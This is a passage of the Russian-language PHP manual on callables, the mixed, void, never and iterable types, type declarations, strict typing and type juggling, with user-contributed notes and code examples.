call_user_func($c, 'PHP!');
?>

Пример #2 Пример callback-функции с использованием замыкания

<?php
// Наше замыкание
$double = function($a) {
return $a * 2;
};

// Диапазон чисел
$numbers = range(1, 5);

// Использование замыкания в качестве callback-функции
// для удвоения каждого элемента в нашем диапазоне
$new_numbers = array_map($double, $numbers);

print implode(' ', $new_numbers);
?>

Результат выполнения данного примера:

2 4 6 8 10

Замечание:

Callback-функции, зарегистрированные такими функциями как call_user_func() и call_user_func_array(), не будут вызваны при наличии не пойманного исключения, брошенного в предыдущей callback-функции.

User Contributed Notes

InvisibleSmiley 12-Jan-2023 10:35
Note that the callable type declaration cannot be used with intersection types introduced in PHP 8.1:

interface foo {}
function bar (callable&foo $param) {}

will report:
Fatal error: Type callable cannot be part of an intersection type

See https://wiki.php.net/rfc/pure-intersection-types#supported_types
chechomancr at hotmail dot com 03-Feb-2022 10:09
In PHP >= 8.0 callIt function with optional parameters.
<?php
declare(strict_types = 1);

class Example {

    public static function someFunction(string $value, string $a_parameter, int $another_parameter): string
    {
         //TODO: Apply the required filter
        return "$value $a_parameter $another_parameter";
    }

    public static function callIt(string $callback, ...$parameters): callable
    {
        return static fn(mixed $value = null) => self::$callback($value, ...$parameters);
    }

}
?>

How to use:
<?php
declare(strict_types = 1);

$args = [
    'information' => ['filter'  => FILTER_CALLBACK,  'options' => Example::callIt('someFunction', 'world', 2022)],
];

$unfiltered_data = ['information' => 'Hello'];

$filtered_data = filter_var_array($unfiltered_data, $args);

if(false === $filtered_data) {
    echo "Error...", PHP_EOL;
}

echo var_export($filtered_data, true);
?>

Result: array ( 'information' => 'Hello world 2022' )
ssi-anik 27-Aug-2021 02:55
From the note of https://www.php.net/manual/en/language.types.callable.php#109073
seems like the method name in `call_user_func*` is CASE-INSENSITIVE.
InvisibleSmiley 22-Mar-2021 10:20
If you pass a callable method to a function with a callable type declaration, the error message is misleading:

<?php
class X {
    protected function foo(): void {}
}

function bar(callable $c) {}

$x = new X;
$c = [$x, 'foo'];
bar($c);
?>

Error message will be something like "Argument #1 ($c) must be of type callable, array given" while the actual problem here is only the visibility of method "foo". All you need to do is changing it to public (or use a different approach, e.g. with a Closure).
gulaschsuppe2 at gmail dot com 21-Jul-2019 01:53
I tried many possible ways of calling functions by function name directly and assigned to a variable on 3v4l. Not mentioned yet, it is possible to use an array as a caller, at least since PHP 7.1.25. The following script contains all the information I gained:

<?php

// Call function via function name:
    // Basics:
        // A function can also be called by using its string name:
        function callbackFunc() {
            echo 'Hello World';
        }

        'callbackFunc'(); // Hello World

        // A function can also be called if its name is assigned to a variable:
            function callbackFunc() {
                echo 'Hello World';
            }

            $funcName = 'callbackFunc';
            $funcName(); // Hello World

    // Static class method:
        // It is also possible to call a public static class method via 'ClassName::functioName' notation:
            class A {
                public static function callbackMethod() {
                    echo "Hello World\n";
                }
            }
            'A::callbackMethod'(); // Hello World

            $funcName = 'A::callbackMethod';
            $funcName(); // Hello World

    // Non static class method:
        // It is also possible to call non static class methods by creating an array which first element is the object the method should be called on and the second element is the non static method to be called. The array can directly be used as a caller:
            class A {
                private $prop = "Hello World\n";

                public function callbackMethod() {
                    echo $this->prop;
                }
            }

            $a = new A;
            [$a, 'callbackMethod']();
            $funcCallArr = [$a, 'callbackMethod'];
            $funcCallArr();

        // Of course this also works inside the class with '$this':
            class A {
                private function privCallback() {
                    echo 'Private';
                }

                public function privCallbackCaller($funcName) {
                    [$this, $funcName]();
                }
            }

            (new A)->privCallbackCaller('privCallback'); // Private

?>
chris dot rutledge at gmail dot com 18-Dec-2018 10:12
Having read this line in the manual above,

"A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed."

I decided to do some testing to see if I could access private methods using the call_user_func methods. Thankfully not, but for completeness here is my test which also covers using static and object contexts

<?php
class foo {

    public static $isInstance = false;

    public function __construct() {
        self::$isInstance = true;
    }

    public function bar() {
        var_dump(self::$isInstance);
        echo __METHOD__;
    }

    private function baz() {
        var_dump(self::$isInstance);
        echo __METHOD__;
    }

    public function qux() {
        $this->baz();
    }

    public function quux() {
        self::baz();
    }
}

call_user_func(['foo','bar']);    //fase, foo:bar

call_user_func(['foo','baz']);  //warning, cannot access private method

call_user_func(['foo','quux']); //false, foo::baz

call_user_func(['foo','qux']);  //fatal, Using $this when not in object context

$foo = new foo;

call_user_func([$foo,'bar']);    //true, foo::bar
call_user_func([$foo,'baz']);    //warning, cannot access private method
call_user_func([$foo,'qux']);    //true, foo::baz

call_user_func(['foo','bar']);  //true, foo::bar (static call, yet $isInstance is true)

?>
Dan J 20-Feb-2018 05:59
You can avoid repeating a long namespace for classes in callable arrays by making use of the "use" operator and the special "::class" constant.

Documentation of use operator:
http://php.net/manual/en/language.namespaces.importing.php

Documentation of ::class constant:
http://php.net/manual/en/language.oop5.constants.php

<?php
// Library file with namespace My\Library\Namespace
require 'MyLibrary.php';

// Alias for SortingClass
use \My\Library\Namespace\SortingClass;

// Callable array referring to SortingClass::SortFunction
$callable = [SortingClass::class, 'SortFunction'];

$values = [3, 1, 2];
usort($values, $callable);
Daniel Klein 13-Sep-2017 07:26
You can use "self::method_name", "static::method_name" and "parent::method_name" in callables:

<?php
class StaticCallable {
    public static function foo($values) {
        return array_map('self::bar', $values);
    }

    public static function bar($value) {
        return "{$value}: 42";
    }

    public static function baz($values) {
        return array_map('static::qux', $values);
    }

    public static function qux($value) {
        return "{$value}: 123";
    }
}

class StaticExtension extends StaticCallable {
    public static function bar($value) {
        return "{$value}: Marvin the Paranoid Android";
    }

    public static function qux($value) {
        return "{$value}: Zaphod Beeblebrox";
    }
}

print_r(StaticCallable::foo([1, 2, 3]));
print_r(StaticExtension::foo([1, 2, 3]));

print_r(StaticCallable::baz([1, 2, 3]));
print_r(StaticExtension::baz([1, 2, 3]));
?>

Results:
Array
(
    [0] => 1: 42
    [1] => 2: 42
    [2] => 3: 42
)
Array
(
    [0] => 1: 42
    [1] => 2: 42
    [2] => 3: 42
)
Array
(
    [0] => 1: 123
    [1] => 2: 123
    [2] => 3: 123
)
Array
(
    [0] => 1: Zaphod Beeblebrox
    [1] => 2: Zaphod Beeblebrox
    [2] => 3: Zaphod Beeblebrox
)

"self::" uses the same class as the called method, "static::" uses the same class as the called class, and "parent::" (not shown) uses the parent class, or generates a warning if there is no parent.
whysteepy at gmail dot com 18-Apr-2017 06:34
Another Appearance of Callbacks! Here is one way of them - methods of an instantiated object can be callable and implemented as variable functions without php's default functions that can call user-defined callback functions.

class Test {
    protected $items = array();

    public function __construct()
    {
        $this->items[] = array($this, 'callBackOne');
        $this->items[] = array($this, 'callBackTwo');
    }

    public function callBackOne()
    {
        echo __METHOD__ . ' has been called as a callback.';
    }

    public function callBackTwo()
    {
        echo __METHOD__ . ' has been called as a callback.';
    }

    public function getItems()
    {
        return $this->items;
    }
}

$o = new Test();
$itemLists = $o->getItems();

foreach ($itemLists as $itemList) {

        // call each one as a variable function
        echo '<pre>';
        print_r($itemList());
        echo '</pre>';
}

// Outputs the following
// Test::callBackOne has been called as a callback.

// Test::callBackTwo has been called as a callback.
bradyn at NOSPAM dot bradynpoulsen dot com 14-Apr-2016 01:22
When trying to make a callable from a function name located in a namespace, you MUST give the fully qualified function name (regardless of the current namespace or use statements).

<?php

namespace MyNamespace;

function doSomethingFancy($arg1)
{
    // do something...
}

$values = [1, 2, 3];

array_map('doSomethingFancy', $values);
// array_map() expects parameter 1 to be a valid callback, function 'doSomethingFancy' not found or invalid function name

array_map('MyNamespace\doSomethingFancy', $values);
// => [..., ..., ...]
pawel dot tadeusz dot niedzielski at gmail dot com 12-Apr-2016 02:11
@edanschwartz at gmail dot com

You can use ::class property to always indicate the class you're in when using static methods:

<?php
class Foo {
    public static function doAwesomeThings() {
        FunctionCaller::callIt(self::class . '::someAwesomeMethod');
    }

    public static function someAwesomeMethod() {
        // fantastic code goes here.
    }
}

class FunctionCaller {
    public static function callIt(callable $func) {
        call_user_func($func);
    }
}

Foo::doAwesomeThings();
?>
mariano dot REMOVE dot perez dot rodriguez at gmail dot com 21-Sep-2015 07:45
I needed a function that would determine the type of callable being passed, and, eventually,
normalized it to some extent. Here's what I came up with:

<?php

/**
 * The callable types and normalizations are given in the table below:
 *
 *  Callable                        | Normalization                   | Type
 * ---------------------------------+---------------------------------+--------------
 *  function (...) use (...) {...}  | function (...) use (...) {...}  | 'closure'
 *  $object                         | $object                         | 'invocable'
 *  "function"                      | "function"                      | 'function'
 *  "class::method"                 | ["class", "method"]             | 'static'
 *  ["class", "parent::method"]     | ["parent of class", "method"]   | 'static'
 *  ["class", "self::method"]       | ["class", "method"]             | 'static'
 *  ["class", "method"]             | ["class", "method"]             | 'static'
 *  [$object, "parent::method"]     | [$object, "parent::method"]     | 'object'
 *  [$object, "self::method"]       | [$object, "method"]             | 'object'
 *  [$object, "method"]             | [$object, "method"]             | 'object'
 * ---------------------------------+---------------------------------+--------------
 *  other callable                  | idem                            | 'unknown'
 * ---------------------------------+---------------------------------+--------------
 *  not a callable                  | null                            | false
 *
 * If the "strict" parameter is set to true, additional checks are
 * performed, in particular:
 *  - when a callable string of the form "class::method" or a callable array
 *    of the form ["class", "method"] is given, the method must be a static one,
 *  - when a callable array of the form [$object, "method"] is given, the
 *    method must be a non-static one.
 *
 */
function callableType($callable, $strict = true, callable& $norm = null) {
  if (!is_callable($callable)) {
    switch (true) {
      case is_object($callable):
        $norm = $callable;
        return 'Closure' === get_class($callable) ? 'closure' : 'invocable';
      case is_string($callable):
        $m    = null;
        if (preg_match('~^(?<class>[a-z_][a-z0-9_]*)::(?<method>[a-z_][a-z0-9_]*)$~i', $callable, $m)) {
          list($left, $right) = [$m['class'], $m['method']];
          if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) {
            $norm = [$left, $right];
            return 'static';
          }
        } else {
          $norm = $callable;
          return 'function';
        }
        break;
      case is_array($callable):
        $m = null;
        if (preg_match('~^(:?(?<reference>self|parent)::)?(?<method>[a-z_][a-z0-9_]*)$~i', $callable[1], $m)) {
          if (is_string($callable[0])) {
            if ('parent' === strtolower($m['reference'])) {
              list($left, $right) = [get_parent_class($callable[0]), $m['method']];
            } else {
              list($left, $right) = [$callable[0], $m['method']];
            }
            if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) {
              $norm = [$left, $right];
              return 'static';
            }
          } else {
            if ('self' === strtolower($m['reference'])) {
              list($left, $right) = [$callable[0], $m['method']];
            } else {
              list($left, $right) = $callable;
            }
            if (!$strict || !(new \ReflectionMethod($left, $right))->isStatic()) {
              $norm = [$left, $right];
              return 'object';
            }
          }
        }
        break;
    }
    $norm = $callable;
    return 'unknown';
  }
  $norm = null;
  return false;
}

?>

Hope someone else finds it useful.
Riikka K 11-May-2015 01:36
A note on differences when calling callbacks as "variable functions" without the use of call_user_func() (e.g. "<?php $callback = 'printf'; $callback('Hello World!') ?>"):

- Using the name of a function as string has worked since at least 4.3.0
- Calling anonymous functions and invokable objects has worked since 5.3.0
- Using the array structure [$object, 'method'] has worked since 5.4.0

Note, however, that the following are not supported when calling callbacks as variable functions, even though they are supported by call_user_func():

- Calling static class methods via strings such as 'foo::doStuff'
- Calling parent method using the [$object, 'parent::method'] array structure

All of these cases are correctly recognized as callbacks by the 'callable' type hint, however. Thus, the following code will produce an error "Fatal error: Call to undefined function foo::doStuff() in /tmp/code.php on line 4":

<?php
class foo {
    static function callIt(callable $callback) {
        $callback();
    }

    static function doStuff() {
        echo "Hello World!";
    }
}

foo::callIt('foo::doStuff');
?>

The code would work fine, if we replaced the '$callback()' with 'call_user_func($callback)' or if we used the array ['foo', 'doStuff'] as the callback instead.
edanschwartz at gmail dot com 02-Feb-2015 06:13
You can use 'self::methodName' as a callable, but this is dangerous. Consider this example:

<?php
class Foo {
    public static function doAwesomeThings() {
        FunctionCaller::callIt('self::someAwesomeMethod');
    }

    public static function someAwesomeMethod() {
        // fantastic code goes here.
    }
}

class FunctionCaller {
    public static function callIt(callable $func) {
        call_user_func($func);
    }
}

Foo::doAwesomeThings();
?>

This results in an error:
Warning: class 'FunctionCaller' does not have a method 'someAwesomeMethod'.

For this reason you should always use the full class name:
<?php
FunctionCaller::callIt('Foo::someAwesomeMethod');
?>

I believe this is because there is no way for FunctionCaller to know that the string 'self' at one point referred to to `Foo`.
Yzmir Ramirez 15-Apr-2014 11:40
> As of PHP 5.2.3, it is also possible to pass 'ClassName::methodName'

You can also use 'self::methodName'.  This works in PHP 5.2.12 for me.
computrius at gmail dot com 11-Oct-2013 04:38
When specifying a call back in array notation (ie. array($this, "myfunc") ) the method can be private if called from inside the class, but if you call it from outside you'll get a warning:

<?php

class mc {
   public function go(array $arr) {
       array_walk($arr, array($this, "walkIt"));
   }

   private function walkIt($val) {
       echo $val . "<br />";
   }

    public function export() {
        return array($this, 'walkIt');
    }
}

$data = array(1,2,3,4);

$m = new mc;
$m->go($data); // valid

array_walk($data, $m->export()); // will generate warning

?>

Output:
1<br />2<br />3<br />4<br />
Warning: array_walk() expects parameter 2 to be a valid callback, cannot access private method mc::walkIt() in /in/tfh7f on line 22
metamarkers at gmail dot com 03-Jun-2013 07:34
you can pass an object as a callable if its class defines the __invoke() magic method..
steve at mrclay dot org 17-Sep-2012 09:00
Performance note: The callable type hint, like is_callable(), will trigger an autoload of the class if the value looks like a static method callback.
andrewbessa at gmail dot com 19-Jun-2012 03:16
You can also use the $this variable to specify a callback:

<?php
class MyClass {

    public $property = 'Hello World!';

    public function MyMethod()
    {
        call_user_func(array($this, 'myCallbackMethod'));
    }

    public function MyCallbackMethod()
    {
        echo $this->property;
    }

}
?>


Mixed

Тип mixed принимает любое значение. Он эквивалентен объединённому типу object|resource|array|string|float|int|bool|null. Доступно, начиная с PHP 8.0.0.

mixed - это, говоря языком теории типов, высший тип. Это означает, что все остальные типы являются его подтипами.

User Contributed Notes

There are no user contributed notes for this page.


Void

void - это объявление типа только для возвращаемого значения, указывающее на то, что функция не возвращает значение, но функция всё равно может завершиться. Поэтому он не может быть частью объявления объединённых типов. Доступно, начиная с PHP 7.1.0.

Замечание: Даже если тип возвращаемого значения функции void, она всё равно вернёт значение и это значение всегда будет null.

User Contributed Notes

There are no user contributed notes for this page.


Never

never - это объявление типа только для возвращаемого значения, указывающий на то, что функция не завершается. Это означает, что она либо вызывает exit(), либо выбрасывает исключение, либо является бесконечным циклом. Поэтому он не может быть частью объявления объединённых типов. Доступно, начиная с PHP 8.1.0.

never - это, говоря языком теории типов, нижний тип. Это означает, что он является подтипом любого другого типа и может заменить любой другой тип возвращаемого значения при наследовании.

User Contributed Notes

mateusz dot charytoniuk at protonmail dot com 17-Jul-2023 02:51
Overriding the return type of native interfaces:

<?php

class ReadonlyArrayAccess implements ArrayAccess
{
    public function __construct(private readonly $array) {}

    public function offsetExists(mixed $offset): bool
    {
        return isset($this->array[$offset]);
    }

    public function offsetGet(mixed $offset): mixed
    {
        return $this->array[$offset];
    }

    public function offsetSet(mixed $offset, mixed $value): never
    {
        throw new LogicException('This array is read only');
    }

    public function offsetUnset(mixed $offset): never
    {
        throw new LogicException('This array is read only');
    }
}
ali1289445 at gmail dot com 27-Feb-2023 05:06
<?php

function sayHello(string $name): never
{
    echo "Hello, $name";
    exit(); // if we comment this line, php throws fatal error
}

sayHello("John"); // result: "Hello, John"


Относительные типы классов

Эти объявления типов можно использовать только внутри классов.

self

Значение должно быть instanceof того же класса, что и класс, в котором используется объявление типа.

parent

Значение должно быть instanceof родителем класса, в котором используется объявление типа.

static

static - это тип только для возвращаемого значения, который требует, чтобы возвращаемое значение было instanceof того же класса, что и класс, в котором вызывается метод. Доступен, начиная с PHP 8.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Value types

Value types are those which not only check the type of a value but also the value itself. PHP has support for two value types: false as of PHP 8.0.0, and true as of PHP 8.2.0.

Внимание

Prior to PHP 8.2.0 the false type could only be used as part of a union type.

Замечание: It is not possible to define custom value types. Consider using an enumerations instead.

User Contributed Notes

There are no user contributed notes for this page.


Итерируемые

Iterable - это встроенный во время компиляции псевдотип для array|Traversable. С момента своего появления в PHP 7.1.0 и до PHP 8.2.0, тип iterable был встроенным псевдо-типом, который действовал как вышеупомянутый псевдотип и мог быть использован в качестве объявления типа. Тип iterable можно использовать в foreach и с конструкцией yield from внутри генератора.

Замечание:

Функции, объявляющие iterable в качестве типа возвращаемого значения, также могут быть генераторами.

Пример #1 Пример использования типа возвращаемого значения iterable

<?php

function gen(): iterable {
yield 1;
yield 2;
yield 3;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Объявление типов

Объявления типов могут использоваться для аргументов функций, возвращаемых значений и, начиная с PHP 7.4.0, для свойств класса. Они используются во время исполнения для проверки, что значение имеет точно тот тип, который для них указан. В противном случае будет выброшено исключение TypeError.

Все типы, которые поддерживает PHP, за исключением ресурсов (resource), могут быть использованы в объявлении типов в пользовательском коде. На этой странице приведён журнал изменений доступности различных типов и документация по их использованию в объявлениях типов.

Замечание:

Когда класс реализует метод интерфейса или повторно реализует метод, который уже был определён родительским классом, он должен быть совместим с вышеупомянутым определением. Метод является совместимым, если он следует правилам вариантности.

Список изменений

Версия | Описание
8.3.0 | Добавлена поддержка типизации констант классов, интерфейсов, трейтов и перечислений.
8.2.0 | Добавлена поддержка типов DNF.
8.2.0 | Добавлена поддержка типа true.
8.2.0 | Типы null и false теперь можно использовать автономно.
8.1.0 | Добавлена поддержка пересечений типов.
8.1.0 | Возврат по ссылке из функции с типом возвращаемого значения void устарел.
8.1.0 | Добавлена поддержка типа возвращаемого значения never.
8.0.0 | Добавлена поддержка типа возвращаемого значения mixed.
8.0.0 | Добавлена поддержка типа возвращаемого значения static.
8.0.0 | Добавлена поддержка объединения типов.
7.4.0 | Добавлена поддержка типизации свойств классов.
7.2.0 | Добавлена поддержка типа возвращаемого значения object.
7.1.0 | Добавлена поддержка типа возвращаемого значения iterable.
7.1.0 | Добавлена поддержка типа возвращаемого значения void.
7.1.0 | Добавлена поддержка типа возвращаемого значения nullable.

Примечание по использованию атомарных типов

У атомарных типов прямолинейное поведение с некоторыми незначительными оговорками, которые описаны в этом разделе.

Скалярные типы

Внимание

Псевдонимы имён для скалярных типов (bool, int, float, string) не поддерживаются. Вместо этого они рассматриваются как имена классов или интерфейсов. К примеру, при использовании в качестве типа boolean, ожидается, что значение представляет собой instanceof класса или интерфейса boolean, а не значение типа bool:

<?php
function test(boolean $param) {}
test(true);
?>

Результат выполнения данного примера в PHP 8:

Warning: "boolean" will be interpreted as a class name. Did you mean "bool"? Write "\boolean" to suppress this warning in /in/9YrUX on line 2

Fatal error: Uncaught TypeError: test(): Argument #1 ($param) must be of type boolean, bool given, called in - on line 3 and defined in -:2
Stack trace:
#0 -(3): test(true)
#1 {main}
  thrown in - on line 2

void

Замечание:

Возврат по ссылке из функции void устарел начиная с PHP 8.1.0, поскольку такая функция противоречива. Ранее при её вызове выдавалась ошибка уровня E_NOTICE: Только ссылки на переменные должны возвращаться по ссылке.

<?php
function &test(): void {}
?>

Тип Callable

Этот тип не может использоваться в качестве объявления типа свойства класса.

Замечание: Невозможно указать сигнатуру функции.

Объявление типов в параметрах передачи по ссылкам

Если у параметра, передаваемого по ссылке, объявляется тип возвращаемого значения, тип переменной проверяется только при входе в функцию, в начале вызова, но не при возврате функции. Это значит, что функция может изменить тип ссылки на переменную.

Пример #1 Типизированные параметры, передаваемые по ссылке

<?php
function array_baz(array &$param)
{
$param = 1;
}
$var = [];
array_baz($var);
var_dump($var);
array_baz($var);
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

Fatal error: Uncaught TypeError: array_baz(): Argument #1 ($param) must be of type array, int given, called in - on line 9 and defined in -:2
Stack trace:
#0 -(9): array_baz(1)
#1 {main}
  thrown in - on line 2

Примечание по использованию составных типов

На объявления составных типов распространяется пара ограничений и во время компиляции будет выполняться проверка избыточности для предотвращения простых ошибок.

Предостережение

До PHP 8.2.0 и появления типов DNF было невозможно комбинировать пересечение типов с объединением типов.

Объединение типов

Внимание

Невозможно объединить два типа false и true с помощью объединения типов. Вместо этого используйте bool.

Предостережение

До PHP 8.2.0, поскольку false и null не могли использоваться как отдельные типы, объединение типов, состоящее только из этих типов, было недопустимо. К ним относятся следующие типы: false, false|null и ?false.

Синтаксический сахар типа Nullable

Объявление одного базового типа может быть помечено как nullable путём префиксации типа вопросительным знаком (?). Таким образом, ?T и T|null идентичны.

Замечание: Этот синтаксис поддерживается начиная с PHP 7.1.0 и предшествует поддержке объединения типов.

Замечание:

Также можно добиться nullable аргументов, указав null значением по умолчанию. Это не рекомендуется, поскольку если значение по умолчанию будет изменено в дочернем классе, возникнет нарушение совместимости типов, так как в объявление типа нужно будет добавить тип null.

Пример #2 Старый способ указания nullable аргументов

<?php
class C {}

function f(C $c = null) {
var_dump($c);
}

f(new C);
f(null);
?>

Результат выполнения данного примера:

object(C)#1 (0) {
}
NULL

Дублирующие и избыточные типы

Чтобы отловить простые ошибки в объявлениях составных типов, избыточные типы, которые могут быть обнаружены без выполнения загрузки класса, приведут к ошибке времени компиляции. К ним относятся:

  • Каждый разрешённый тип имени может встречаться только один раз. Такие типы, как int|string|INT или Countable&Traversable&COUNTABLE приведут к ошибке.
  • Использование типа mixed приводит к ошибке.
  • Для объединения типов:
    • Если используется тип bool, то false или true не могут быть использованы дополнительно.
    • Если используется тип object, типы классов не могут быть использованы дополнительно.
    • Если используется тип iterable, то array и Traversable не могут быть использованы дополнительно.
  • Для пересечения типов:
    • Использование типа, который не является типом класса, приводит к ошибке.
    • Использование self, parent или static приведёт к ошибке.
  • Для DNF типов:
    • Если используется более общий тип, то более ограничительный тип является избыточным.
    • Использование двух одинаковых пересечений типов.

Замечание: Это не гарантирует, что тип является "минимальным", поскольку для этого пришлось бы загрузить все используемые типы классов.

Например, если A и B являются псевдонимами классов, то A|B остаётся корректным объединением типов, даже если его можно свести либо к A, либо к B. Аналогично, если класс B extends A {}, то A|B также является корректным объединением типов, даже если его можно свести к просто A.

<?php
function foo(): int|INT {} // Запрещено
function foo(): bool|false {} // Запрещено
function foo(): int&Traversable {} // Запрещено
function foo(): self&Traversable {} // Запрещено

use A as B;
function foo(): A|B {} // Запрещено ("use" является частью разрешения имён)
function foo(): A&B {} // Запрещено ("use" является частью разрешения имён)

class_alias('X', 'Y');
function foo(): X|Y {} // Разрешено (избыточность известна только во время выполнения)
function foo(): X&Y {} // Разрешено (избыточность известна только во время выполнения)
?>

Примеры

Пример #3 Пример объявления типа класса

<?php
class C {}
class D extends C {}

// Не наследует C.
class E {}

function f(C $c) {
echo get_class($c)."\n";
}

f(new C);
f(new D);
f(new E);
?>

Результат выполнения данного примера в PHP 8:

C
D

Fatal error: Uncaught TypeError: f(): Argument #1 ($c) must be of type C, E given, called in /in/gLonb on line 14 and defined in /in/gLonb:8
Stack trace:
#0 -(14): f(Object(E))
#1 {main}
  thrown in - on line 8

Пример #4 Пример объявления типа интерфейса

<?php
interface I { public function f(); }
class C implements I { public function f() {} }

// Не реализует I.
class E {}

function f(I $i) {
echo get_class($i)."\n";
}

f(new C);
f(new E);
?>

Результат выполнения данного примера в PHP 8:

C

Fatal error: Uncaught TypeError: f(): Argument #1 ($i) must be of type I, E given, called in - on line 13 and defined in -:8
Stack trace:
#0 -(13): f(Object(E))
#1 {main}
  thrown in - on line 8

Пример #5 Пример объявления типа возвращаемого значения

<?php
function sum($a, $b): float {
return $a + $b;
}

// Обратите внимание, что будет возвращено значение float.
var_dump(sum(1, 2));
?>

Результат выполнения данного примера:

float(3)

Пример #6 Возвращение объекта

<?php
class C {}

function getC(): C {
return new C;
}

var_dump(getC());
?>

Результат выполнения данного примера:

object(C)#1 (0) {
}

Пример #7 Объявление аргумента с типом Nullable

<?php
class C {}

function f(?C $c) {
var_dump($c);
}

f(new C);
f(null);
?>

Результат выполнения данного примера:

object(C)#1 (0) {
}
NULL

Пример #8 Объявление типа возвращаемого значения Nullable

<?php
function get_item(): ?string {
if (isset($_GET['item'])) {
return $_GET['item'];
} else {
return null;
}
}
?>

Пример #9 Объявление типа свойства класса

<?php
class User {
public static string $foo = 'foo';

public int $id;
public string $username;

public function __construct(int $id, string $username) {
$this->id = $id;
$this->username = $username;
}
}
?>

Строгая типизация

По умолчанию, PHP будет преобразовывать значения неправильного типа в ожидаемые. К примеру, если в функцию передать параметр типа int в аргумент, объявленный как string, то он преобразуется в string.

Можно включить режим строгой типизации на уровне файла. В этом режиме, тип значения должен строго соответствовать объявленному, иначе будет выброшено исключение TypeError. Единственным исключением из этого правила является передача значения типа int туда, где ожидается float.

Внимание

На вызовы из внутренних функций, действие strict_types не распространяется.

Для включения строгой типизации используется оператор declare с объявлением strict_types:

Замечание:

Строгая типизация применяется к вызовам функций, сделанным изнутри файла с включённой строгой типизацией, а не к функциям, объявленным в этом файле. Если из файла без включённой строгой типизации вызывается функция, которая была определена в файле со строгой типизацией, то будут использованы его предпочтения по типизации - т.е. правила строгой типизации будут проигнорированы и для значений будет применяться приведение типов.

Замечание:

Строгая типизация определяется только для объявлений скалярных типов.

Пример #10 Строгая типизация для значений аргументов

<?php
declare(strict_types=1);

function sum(int $a, int $b) {
return $a + $b;
}

var_dump(sum(1, 2));
var_dump(sum(1.5, 2.5));
?>

Результат выполнения данного примера в PHP 8:

int(3)

Fatal error: Uncaught TypeError: sum(): Argument #1 ($a) must be of type int, float given, called in - on line 9 and defined in -:4
Stack trace:
#0 -(9): sum(1.5, 2.5)
#1 {main}
  thrown in - on line 4

Пример #11 Приведение типов для значений аргументов

<?php
function sum(int $a, int $b) {
return $a + $b;
}

var_dump(sum(1, 2));

// Переданные значения будут приведены к целым числам: обратите внимание на вывод ниже!
var_dump(sum(1.5, 2.5));
?>

Результат выполнения данного примера:

int(3)
int(3)

Пример #12 Строгая типизация для возвращаемых значений

<?php
declare(strict_types=1);

function sum($a, $b): int {
return $a + $b;
}

var_dump(sum(1, 2));
var_dump(sum(1, 2.5));
?>

Результат выполнения данного примера:

int(3)

Fatal error: Uncaught TypeError: sum(): Return value must be of type int, float returned in -:5
Stack trace:
#0 -(9): sum(1, 2.5)
#1 {main}
  thrown in - on line 5

User Contributed Notes

manoj904378 at gmail dot com 15-Nov-2021 06:59
PHP Version 7.4
---
true=1;
false=2;

<?php
  function a(bool $a,bool $b){
    return $a+$b;
  }

  var_dump(a(false,3.9));
?>
Output
------
int(1)
Hayley Watson 14-Oct-2021 12:18
Not explicit is that function parameters can also have union type declarations; they're not just for property and return value declarations.

<?php

declare(strict_types = 1);

function foo(int|string $arg)
{
    if(is_string($arg))
    {
        echo "It's a string!\n";
    }
    elseif(is_int($arg))
    {
        echo "It's an integer!\n";
    }
    else
    {
        echo "It shouldn't be here!\n";
    }
}

foo(42);
foo('bar');
foo([]);
crash 29-Sep-2021 01:02
The documentation lacks the information, that it's possible to change the return type of a method defined in an interface when the interface's methods return type is defined as `mixed`.

From the RFC:

"The mixed return type could be narrowed in a subclass as this is covariant and is allowed in LSP." (https://wiki.php.net/rfc/mixed_type_v2)

This means the following code is valid in PHP 8.0:

<?php

interface ITest
{
    public function apfel(): mixed; // valid as of 8.0
}

class Test implements ITest
{
    public function apfel(): array // more explicit
    {
        return [];
    }
}

var_dump((new Test())->apfel());
?>

You can see the result here: https://3v4l.org/PXDB6
toinenkayt (ta at ta) [iwonderr] gmail d 24-Jun-2021 11:10
While waiting for native support for typed arrays, here are a couple of alternative ways to ensure strong typing of arrays by abusing variadic functions. The performance of these methods is a mystery to the writer and so the responsibility of benchmarking them falls unto the reader.

PHP 5.6 added the splat operator (...) which is used to unpack arrays to be used as function arguments. PHP 7.0 added scalar type hints. Latter versions of PHP have further improved the type system. With these additions and improvements, it is possible to have a decent support for typed arrays.

<?php
declare (strict_types=1);

function typeArrayNullInt(?int ...$arg): void {
}

function doSomething(array $ints): void {
    (function (?int ...$arg) {})(...$ints);
    // Alternatively,
    (fn (?int ...$arg) => $arg)(...$ints);
    // Or to avoid cluttering memory with too many closures
    typeArrayNullInt(...$ints);

    /* ... */
}

function doSomethingElse(?int ...$ints): void {
    /* ... */
}

$ints = [1,2,3,4,null];
doSomething ($ints);
doSomethingElse (...$ints);
?>

Both methods work with all type declarations. The key idea here is to have the functions throw a runtime error if they encounter a typing violation. The typing method used in doSomethingElse is cleaner of the two but it disallows having any other parameters after the variadic parameter. It also requires the call site to be aware of this typing implementation and unpack the array. The method used in doSomething is messier but it does not require the call site to be aware of the typing method as the unpacking is performed within the function. It is also less ambiguous as the doSomethingElse would also accept n individual parameters where as doSomething only accepts an array. doSomething's method is also easier to strip away if native typed array support is ever added to PHP. Both of these methods only work for input parameters. An array return value type check would need to take place at the call site.

If strict_types is not enabled, it may be desirable to return the coerced scalar values from the type check function (e.g. floats and strings become integers) to ensure proper typing.
anisgazig at example dot com 26-Apr-2021 06:20
same data type and same value but first function declare as a argument type declaration and return int(7)
and second fucntion declare as a return type declaration but return int(8).

function argument_type_declaration(int $a, int $b){
    return $a+$b;
}

var_dump(argument_type_declaration(3.5,4.7));
//output:int(7)

function return_type_declaration($a,$b) :int{
    return $a+$b;
}

var_dump(return_type_declaration(3.5,4.7));

//output:int(8)


Манипуляции с типами

PHP не требует явного определения типа при объявлении переменной. В этом случае тип переменной определяется значением, которое она хранит. То есть, если переменной $var присваивается значение типа строка (string), то $var изменит тип на строку (string). Если после этого переменной $var будет присвоено значение типа целое число (int), то она изменит тип на целое число (int).

В определённых контекстах PHP может попытаться автоматически преобразовать тип значения в другой. Существуют следующие различные контексты:

  • Числовой контекст
  • Строчный контекст
  • Логический контекст
  • Контекст целых чисел и строк
  • Сравнительный контекст
  • Контекст функций

Замечание: Когда значение нужно интерпретировать как другой тип, само значение не меняет тип.

